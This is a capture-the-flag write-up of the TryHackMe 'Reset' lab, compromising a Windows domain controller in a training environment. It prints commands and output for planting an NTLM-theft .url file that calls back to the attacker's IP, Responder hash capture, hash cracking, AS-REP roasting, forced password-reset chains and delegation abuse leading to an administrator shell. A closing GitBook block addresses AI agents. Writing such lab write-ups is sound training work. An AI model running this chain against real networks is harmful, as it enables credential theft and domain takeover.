> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-reset.md). # THM - Reset ```bash namp -sC -sV -v -A 10.81.187.236 -Pn Host is up (0.10s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-09 16:12:32Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: THM | NetBIOS_Domain_Name: THM | NetBIOS_Computer_Name: HAYSTACK | DNS_Domain_Name: thm.corp | DNS_Computer_Name: HayStack.thm.corp | DNS_Tree_Name: thm.corp | Product_Version: 10.0.17763 |_ System_Time: 2026-02-09T16:12:48+00:00 | ssl-cert: Subject: commonName=HayStack.thm.corp | Issuer: commonName=HayStack.thm.corp | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-02-08T16:11:29 | Not valid after: 2026-08-10T16:11:29 | MD5: 2702:af6c:cabd:3c9b:6b3b:ee78:7e57:0913 |_SHA-1: 7862:e4a2:ea61:5b57:d90b:34a8:7020:969f:0d38:3318 |_ssl-date: 2026-02-09T16:13:27+00:00; -1s from scanner time. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 Aggressive OS guesses: Windows Server 2019 (97%) No exact OS matches for host (test conditions non-ideal). Network Distance: 3 hops TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: HAYSTACK; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-02-09T16:12:50 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required TRACEROUTE (using port 3389/tcp) ``` Domain name Leaked in nmap scan = `HayStack.thm.corp` adding it to/etc/hosts. ### SMB ```bash smbclient -L \\\\HayStack.thm.corp\\ Password for [WORKGROUP\ajay]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Data Disk IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to HayStack.thm.corp failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available ``` ```bash smbclient \\\\HayStack.thm.corp\\DAta Password for [WORKGROUP\ajay]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Wed Jul 19 04:40:57 2023 .. D 0 Wed Jul 19 04:40:57 2023 onboarding D 0 Mon Feb 9 11:16:56 2026 7863807 blocks of size 4096. 3001260 blocks available smb: \> cd onboarding smb: \onboarding\> dir . D 0 Mon Feb 9 11:16:56 2026 .. D 0 Mon Feb 9 11:16:56 2026 5tn2nmdb.1za.pdf A 3032659 Mon Jul 17 04:12:09 2023 sxfdg4y1.0zw.txt A 521 Mon Aug 21 14:21:59 2023 wpq5avnq.34p.pdf A 4700896 Mon Jul 17 04:11:53 2023 7863807 blocks of size 4096. 3001987 blocks available smb: \onboarding\> dir . D 0 Mon Feb 9 11:16:56 2026 .. D 0 Mon Feb 9 11:16:56 2026 5tn2nmdb.1za.pdf A 3032659 Mon Jul 17 04:12:09 2023 sxfdg4y1.0zw.txt A 521 Mon Aug 21 14:21:59 2023 wpq5avnq.34p.pdf A 4700896 Mon Jul 17 04:11:53 2023 7863807 blocks of size 4096. 3001987 blocks available smb: \onboarding\> mget *.* Get file modjwcwm.ubl.txt? y getting file \onboarding\modjwcwm.ubl.txt of size 521 as modjwcwm.ubl.txt (1.2 KiloBytes/sec) (average 1.2 KiloBytes/sec) Get file pjhmyu3u.m0a.pdf? y getting file \onboarding\pjhmyu3u.m0a.pdf of size 4700896 as pjhmyu3u.m0a.pdf (2556.1 KiloBytes/sec) (average 2078.4 KiloBytes/sec) Get file yu3nvplo.a0n.pdf? y getting file \onboarding\yu3nvplo.a0n.pdf of size 3032659 as yu3nvplo.a0n.pdf (1270.5 KiloBytes/sec) (average 1663.6 KiloBytes/sec) smb: \onboarding\> dir . D 0 Mon Feb 9 11:17:26 2026 .. D 0 Mon Feb 9 11:17:26 2026 modjwcwm.ubl.txt A 521 Mon Aug 21 14:21:59 2023 pjhmyu3u.m0a.pdf A 4700896 Mon Jul 17 04:11:53 2023 yu3nvplo.a0n.pdf A 3032659 Mon Jul 17 04:12:09 2023 7863807 blocks of size 4096. 3001923 blocks available ``` Looks like the files in the smb share keep on changing which can be a hint for any one managing the share continuously so we can try a lifeless attack using NTLM\_theft.py. Got a password in one of the files ```bash The initial passowrd is: **ResetMe123!** We are confident that you will contribute significantly to our continued success. ``` User name leaked in another pdf file
`LILY ONEILL : ResetMe123!` ```bash ─$ nxc smb 10.81.187.236 -u Lily Oneill -p ResetMe123! SMB 10.81.187.236 445 HAYSTACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAYSTACK) (domain:thm.corp) (signing:True) (SMBv1:False) SMB 10.81.187.236 445 HAYSTACK [+] thm.corp\Lily:ResetMe123! (Guest) ┌──(ajay㉿kali)-[~/Downloads] └─$ nxc smb 10.81.187.236 -u Lily Oneill -p ResetMe123! --users SMB 10.81.187.236 445 HAYSTACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAYSTACK) (domain:thm.corp) (signing:True) (SMBv1:False) SMB 10.81.187.236 445 HAYSTACK [+] thm.corp\Lily:ResetMe123! (Guest) ┌──(ajay㉿kali)-[~/Downloads] └─$ nxc smb 10.81.187.236 -u Lily Oneill -p ResetMe123! --shares SMB 10.81.187.236 445 HAYSTACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAYSTACK) (domain:thm.corp) (signing:True) (SMBv1:False) SMB 10.81.187.236 445 HAYSTACK [+] thm.corp\Lily:ResetMe123! (Guest) SMB 10.81.187.236 445 HAYSTACK [-] Error enumerating shares: STATUS_ACCESS_DENIED ``` #### SMBMap We have write access on the Data Share using guest access which strongly suggests File less attack. ```bash smbmap -H 10.81.187.236 -u guest -p "" ________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com [*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authenticated session(s) [+] IP: 10.81.187.236:445 Name: HayStack.thm.corp Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share Data READ, WRITE IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share SYSVOL NO ACCESS Logon server share ``` #### NTLM Theft ```bash python3 ntlm_theft.py --generate url --server 192.168.170.217 --filename safe.url /home/ajay/Tools/ntlm_theft/ntlm_theft.py:168: SyntaxWarning: invalid escape sequence '\l' location.href = 'ms-word:ofe|u|\\''' + server + '''\leak\leak.docx'; Created: safe.url/safe.url-(url).url (BROWSE TO FOLDER) Created: safe.url/safe.url-(icon).url (BROWSE TO FOLDER) Generation Complete. ``` ```bash smbclient \\\\HayStack.thm.corp\\DAta Password for [WORKGROUP\ajay]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Mon Feb 9 12:05:57 2026 .. D 0 Mon Feb 9 12:05:57 2026 onboarding D 0 Mon Feb 9 12:48:59 2026 7863807 blocks of size 4096. 3013948 blocks available smb: \> cd onboarding smb: \onboarding\> dir . D 0 Mon Feb 9 12:48:59 2026 .. D 0 Mon Feb 9 12:48:59 2026 4bdog2v5.n5n.pdf A 4700896 Mon Jul 17 04:11:53 2023 eszmxzyl.i52.txt A 521 Mon Aug 21 14:21:59 2023 znmyeffv.ro3.pdf A 3032659 Mon Jul 17 04:12:09 2023 7863807 blocks of size 4096. 3013916 blocks available smb: \onboarding\> put safe.url-(icon).url putting file safe.url-(icon).url as \onboarding\safe.url-(icon).url (0.3 kB/s) (average 0.3 kB/s) smb: \onboarding\> dir . D 0 Mon Feb 9 12:49:35 2026 .. D 0 Mon Feb 9 12:49:35 2026 2dsvg3yz.mko.txt A 521 Mon Aug 21 14:21:59 2023 cjahqbco.gqp.pdf A 3032659 Mon Jul 17 04:12:09 2023 liu2q3vf.j5k.pdf A 4700896 Mon Jul 17 04:11:53 2023 safe.url-(icon).url A 112 Mon Feb 9 12:49:36 2026 7863807 blocks of size 4096. 3013889 blocks available ``` ```bash sudo responder -I tun0 -v [sudo] password for ajay: __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| [+] Poisoners: LLMNR [ON] NBT-NS [ON] MDNS [ON] DNS [ON] DHCP [OFF] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] [SMB] NTLMv2-SSP Client : 10.81.187.236 [SMB] NTLMv2-SSP Username : THM\AUTOMATE [SMB] NTLMv2-SSP Hash : AUTOMATE::THM:86c5a3101d037fb2:8B537F795B54C01A33E10FDE8B3F4AC1:01010000000000008049FC77C299DC0148700CCDA4D04D2900000000020008004F0050004F005A0001001E00570049004E002D00360035004A004A00370039005500360053004A00560004003400570049004E002D00360035004A004A00370039005500360053004A0056002E004F0050004F005A002E004C004F00430041004C00030014004F0050004F005A002E004C004F00430041004C00050014004F0050004F005A002E004C004F00430041004C00070008008049FC77C299DC0106000400020000000800300030000000000000000100000000200000D0AD20FCE26BE540D0DCBA371C7DF7F1B35595057DD21FAC208A9C649C3544430A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100370030002E003200310037000000000000000000 ``` ```bash hashcat reshash.hash /usr/share/wordlists/rockyou.txt hashcat (v7.1.2) starting in autodetect mode OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================================== * Device #01: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i5-11320H @ 3.20GHz, 1456/2912 MB (512 MB allocatable), 2MCU Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash: 5600 | NetNTLMv2 | Network Protocol NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed! Do NOT report auto-detect issues unless you are certain of the hash type. Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimum salt length supported by kernel: 0 Maximum salt length supported by kernel: 25 AUTOMATE::THM:86c5a3101d037fb2:8b537f795b54c01a33e10fde8b3f4ac1:01010000000000008049fc77c299dc0148700ccda4d04d2900000000020008004f0050004f005a0001001e00570049004e002d00360035004a004a00370039005500360053004a00560004003400570049004e002d00360035004a004a00370039005500360053004a0056002e004f0050004f005a002e004c004f00430041004c00030014004f0050004f005a002e004c004f00430041004c00050014004f0050004f005a002e004c004f00430041004c00070008008049fc77c299dc0106000400020000000800300030000000000000000100000000200000d0ad20fce26be540d0dcba371c7df7f1b35595057dd21fac208a9c649c3544430a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100370030002e003200310037000000000000000000:Passw0rd1 ``` `AUTOMATE : Passw0rd1` ## Shell as Automate ```bash evil-winrm -i 10.81.187.236 -u AUTOMATE -p Passw0rd1 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\automate\Documents> *Evil-WinRM* PS C:\Users\automate\Desktop> cat user.txt THM{AUTOMATION_WILL_REPLACE_US} *Evil-WinRM* PS C:\Users\automate\Desktop> ``` #### Enumerating Users using RID Brute ```bash nxc smb 10.81.187.236 -u guest -p "" --rid-brute SMB 10.81.187.236 445 HAYSTACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAYSTACK) (domain:thm.corp) (signing:True) (SMBv1:False) SMB 10.81.187.236 445 HAYSTACK [+] thm.corp\guest: SMB 10.81.187.236 445 HAYSTACK 498: THM\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 500: THM\Administrator (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 501: THM\Guest (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 502: THM\krbtgt (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 512: THM\Domain Admins (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 513: THM\Domain Users (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 514: THM\Domain Guests (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 515: THM\Domain Computers (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 516: THM\Domain Controllers (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 517: THM\Cert Publishers (SidTypeAlias) SMB 10.81.187.236 445 HAYSTACK 518: THM\Schema Admins (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 519: THM\Enterprise Admins (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 520: THM\Group Policy Creator Owners (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 521: THM\Read-only Domain Controllers (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 522: THM\Cloneable Domain Controllers (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 525: THM\Protected Users (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 526: THM\Key Admins (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 527: THM\Enterprise Key Admins (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 553: THM\RAS and IAS Servers (SidTypeAlias) SMB 10.81.187.236 445 HAYSTACK 571: THM\Allowed RODC Password Replication Group (SidTypeAlias) SMB 10.81.187.236 445 HAYSTACK 572: THM\Denied RODC Password Replication Group (SidTypeAlias) SMB 10.81.187.236 445 HAYSTACK 1008: THM\HAYSTACK$ (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1109: THM\DnsAdmins (SidTypeAlias) SMB 10.81.187.236 445 HAYSTACK 1110: THM\DnsUpdateProxy (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 1111: THM\3091731410SA (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1112: THM\ERNESTO_SILVA (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1113: THM\TRACY_CARVER (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1114: THM\SHAWNA_BRAY (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1115: THM\CECILE_WONG (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1116: THM\CYRUS_WHITEHEAD (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1117: THM\DEANNE_WASHINGTON (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1118: THM\ELLIOT_CHARLES (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1119: THM\MICHEL_ROBINSON (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1120: THM\MITCHELL_SHAW (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1121: THM\FANNY_ALLISON (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1122: THM\JULIANNE_HOWE (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1123: THM\ROSLYN_MATHIS (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1124: THM\DANIEL_CHRISTENSEN (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1125: THM\MARCELINO_BALLARD (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1126: THM\CRUZ_HALL (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1127: THM\HOWARD_PAGE (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1128: THM\STEWART_SANTANA (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1130: THM\LINDSAY_SCHULTZ (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1131: THM\TABATHA_BRITT (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1132: THM\RICO_PEARSON (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1133: THM\DARLA_WINTERS (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1134: THM\ANDY_BLACKWELL (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1135: THM\LILY_ONEILL (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1136: THM\CHERYL_MULLINS (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1137: THM\LETHA_MAYO (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1138: THM\HORACE_BOYLE (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1139: THM\CHRISTINA_MCCORMICK (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1141: THM\3811465497SA (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1142: THM\MORGAN_SELLERS (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1143: THM\MARION_CLAY (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1144: THM\3966486072SA (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1146: THM\TED_JACOBSON (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1147: THM\AUGUSTA_HAMILTON (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1148: THM\TREVOR_MELTON (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1149: THM\LEANN_LONG (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1150: THM\RAQUEL_BENSON (SidTypeUser) SMB 10.81.187.236 445 HAYSTACK 1151: THM\AN-173-distlist1 (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 1152: THM\Gu-gerardway-distlist1 (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 1154: THM\CH-ecu-distlist1 (SidTypeGroup) SMB 10.81.187.236 445 HAYSTACK 1156: THM\AUTOMATE (SidTypeUser) ``` #### Extracting users form the smb users list ```bash cat results.txt | grep "SidTypeUser" | awk '{print $6}' | cut -d'\' -f2 > validusers.txt ``` Using kerbrute to valid login info ```bash kerbrute -domain thm.corp -dc-ip 10.81.187.236 -users validusers.txt -password ResetMe123! Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [*] Valid user => Administrator [*] Valid user => Guest [*] Blocked/Disabled user => krbtgt [*] Valid user => HAYSTACK$ [*] Valid user => 3091731410SA [*] Valid user => ERNESTO_SILVA [NOT PREAUTH] [*] Valid user => TRACY_CARVER [*] Valid user => SHAWNA_BRAY [*] Valid user => CECILE_WONG [*] Valid user => CYRUS_WHITEHEAD [*] Valid user => DEANNE_WASHINGTON [*] Valid user => ELLIOT_CHARLES [*] Valid user => MICHEL_ROBINSON [*] Valid user => MITCHELL_SHAW [*] Valid user => FANNY_ALLISON [*] Valid user => JULIANNE_HOWE [*] Valid user => ROSLYN_MATHIS [*] Valid user => DANIEL_CHRISTENSEN [*] Valid user => MARCELINO_BALLARD [*] Valid user => CRUZ_HALL [*] Valid user => HOWARD_PAGE [*] Valid user => STEWART_SANTANA [*] Valid user => LINDSAY_SCHULTZ [*] Valid user => TABATHA_BRITT [NOT PREAUTH] [*] Valid user => RICO_PEARSON [*] Valid user => DARLA_WINTERS [*] Valid user => ANDY_BLACKWELL [*] Blocked/Disabled user => LILY_ONEILL [*] Valid user => CHERYL_MULLINS [*] Valid user => LETHA_MAYO ^[[B^[[B^[[B[*] Valid user => HORACE_BOYLE [*] Valid user => CHRISTINA_MCCORMICK [*] Valid user => 3811465497SA [*] Valid user => MORGAN_SELLERS [*] Valid user => MARION_CLAY [*] Valid user => 3966486072SA [*] Valid user => TED_JACOBSON [*] Valid user => AUGUSTA_HAMILTON [*] Valid user => TREVOR_MELTON [*] Valid user => LEANN_LONG [NOT PREAUTH] [*] Valid user => RAQUEL_BENSON [*] Valid user => AUTOMATE [*] No passwords were discovered :'( ``` Looks like the users ERNESTO\_SILVA, TABATHA\_BRITT, LEANN\_LONG do not have pre auth set so we can perform ASREP ROAST ```bash impacket-GetNPUsers thm.corp/ -usersfile validusers.txt -dc-ip 10.81.187.236 -no-pass -format hashcat -outputfile asrep_hashes.txt Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies $krb5asrep$23$ERNESTO_SILVA@THM.CORP:113c475b83ee4b9f754b7053fb5af652$7e8cfc563ea989d1897e5de8db82f6431bdf77b2a538b3bbdf5aad666fb95983841804d36a15fe2babd3392ed3c1d73f9f2432e0f7811e114fc4acfc729f3bd8f6cec58031439a9faa8dc791bf28ffd8a461aa586db29ef233de94dc1c8ec2c1860c2eaf68cc0d75c41b77224d272129e98cadbce043515d93bfad6df58acecdacf02c725789f715d256d220127cfc880fb8012a275be921425334a4eb79694f25ba64e5be1931cb2c55da91e9a2566f75e01065cf6224f1708291f294ffd7ceaf4a9d6aa163db6d5cb726dc336c04ef4d62536f4262799ad247c8c44cd3112f9e57e4c3 $krb5asrep$23$TABATHA_BRITT@THM.CORP:0addb6bd5ae637732c884237a8aaff0d$05b7bdf27a4573853a3dd8a403c13a12305e21f991e923ba1d52a86c7ab8070c965c548d9bae4b068b994dffcf2664e79ab7506d223f60eb94aa32cee55cf21cd4deef3176e41fc0fd2fd7b881b0f621ca7d00254b66fb0d1b4faad9440e1b9438fb99d90e2a8ad13e744b263314167ef90ec9a105037b3fa3ad3d83ec0348c5b94b0962c2ad81a4335b29a79ad3496cca9e5470f98eb2fa8ab27389526c6d1240aca908ec7ad1842e2573ec8205979886ea767143d547e905126f663eab8049d0228aea8c2ba25b3cacc816e21e488b0a6bca602684ada6244f73461de93da5f10f321c $krb5asrep$23$LEANN_LONG@THM.CORP:4b173831587dae18cf458447b5a66475$b602fd989570e3221521ff88b8fb54ed5408c017d2722e4bf5b5c88e965a87ee1d452aa850da28fa81349fe5e0f6560e8fb3347654e33d0ce7b2db572e7052b151fb2f14792e85bca9efeb394647f77bea0b46ebf03d817ac8a040adb7d02d188ae5eb3e202e2157331840621c58439a75b4fd0eb2f4b850ebbf9105ffdfffb6feb94c1eccc6aeb701e02ed6da3b03e6d6969439389899f05e7a058fe16fb8159cfc895d8811d7f80a91f353c43cadc2b50b73f3778888c98d5549331c6f14f77a5e8fa0b22ad49f6e7725737f666657382979b9ef3cfbaf854a6ebfbcfac4fa6f013cf5 ``` got the hashes for the three users lets crack the hashes. ```bash hashcat -m 18200 hash.asrep /usr/share/wordlists/rockyou.txt hashcat (v7.1.2) starting OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================================== * Device #01: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i5-11320H @ 3.20GHz, 1456/2912 MB (512 MB allocatable), 2MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimum salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 $krb5asrep$23$TABATHA_BRITT@THM.CORP:0addb6bd5ae637732c884237a8aaff0d$05b7bdf27a4573853a3dd8a403c13a12305e21f991e923ba1d52a86c7ab8070c965c548d9bae4b068b994dffcf2664e79ab7506d223f60eb94aa32cee55cf21cd4deef3176e41fc0fd2fd7b881b0f621ca7d00254b66fb0d1b4faad9440e1b9438fb99d90e2a8ad13e744b263314167ef90ec9a105037b3fa3ad3d83ec0348c5b94b0962c2ad81a4335b29a79ad3496cca9e5470f98eb2fa8ab27389526c6d1240aca908ec7ad1842e2573ec8205979886ea767143d547e905126f663eab8049d0228aea8c2ba25b3cacc816e21e488b0a6bca602684ada6244f73461de93da5f10f321c:marlboro(1985) ``` couldnt crack the hashes for the other two users but got the password for tabatha. creds `TABATHA_BRITT@THM.CORP : marlboro(1985)` ### Bloodhound ```bash bloodhound-python -u TABATHA_BRITT -p 'marlboro(1985)' -d thm.corp -dc HayStack.thm.corp -ns 10.81.187.236 -c All INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: thm.corp INFO: Getting TGT for user INFO: Connecting to LDAP server: HayStack.thm.corp INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to GC LDAP server: haystack.thm.corp INFO: Connecting to LDAP server: HayStack.thm.corp INFO: Found 42 users INFO: Found 55 groups INFO: Found 3 gpos INFO: Found 222 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: HayStack.thm.corp INFO: Done in 00M 58S ``` ```bash ─(ajay㉿kali)-[~] └─$ ls 20260209130425_computers.json 20260209130425_domains.json 20260209130425_groups.json 20260209130425_users.json Desktop Downloads Music Public reshash.hash Templates users.txt Videos 20260209130425_containers.json 20260209130425_gpos.json 20260209130425_ous.json asrep_hashes.txt Documents hash.asrep Pictures reports results.txt Tools validusers.txt ``` Tabatha has generic all permissions on the shawna and raquel
Following the attacking path to reach to the administrator ```bash ──(ajay㉿kali)-[~] └─$ net rpc password "SHAWNA_BRAY" "Password@123" -U "thm.corp"/"TABATHA_BRITT"%"marlboro(1985)" -S "10.81.187.236" ┌──(ajay㉿kali)-[~] └─$ net rpc password "CRUZ_HALL" "Password@123" -U "thm.corp"/"SHAWNA_BRAY"%"Password@123" -S "10.81.187.236" ┌──(ajay㉿kali)-[~] └─$ net rpc password "DARLA_WINTERS" "Password@123" -U "thm.corp"/"CRUZ_HALL"%"Password@123" -S "10.81.187.236" ``` changed all the users passwords. Darla is part of remote desktop users lets rdp into darla. ## RDP as Darla
Darla has below privileges.
### AllowedToDelegate ```bash impacket-getST -k -impersonate Administrator -spn cifs/haystack.thm.corp thm.corp/DARLA_WINTERS Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Administrator@cifs_haystack.thm.corp@THM.CORP.ccache ``` ```bash (ajay㉿kali)-[~] └─$ klist Ticket cache: FILE:Administrator@cifs_haystack.thm.corp@THM.CORP.ccache Default principal: Administrator@thm.corp Valid starting Expires Service principal 02/09/2026 13:58:19 02/09/2026 23:58:18 cifs/haystack.thm.corp@THM.CORP renew until 02/10/2026 13:58:18 ``` ## Shell as Administrator ```bash ┌──(ajay㉿kali)-[~] └─$ impacket-wmiexec -k -no-pass Administrator@haystack.thm.corp Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami thm\administrator ``` ```bash C:\Users\Administrator\Desktop>dir Volume in drive C has no label. Volume Serial Number is A8A4-C362 Directory of C:\Users\Administrator\Desktop 07/14/2023 07:23 AM . 07/14/2023 07:23 AM .. 06/21/2016 03:36 PM 527 EC2 Feedback.website 06/21/2016 03:36 PM 554 EC2 Microsoft Windows Guide.website 06/16/2023 04:37 PM 30 root.txt 3 File(s) 1,111 bytes 2 Dir(s) 12,252,786,688 bytes free ``` ```bash C:\Users\Administrator\Desktop>more root.txt THM{RE_RE_RE_SET_AND_DELEGATE} ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-reset.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.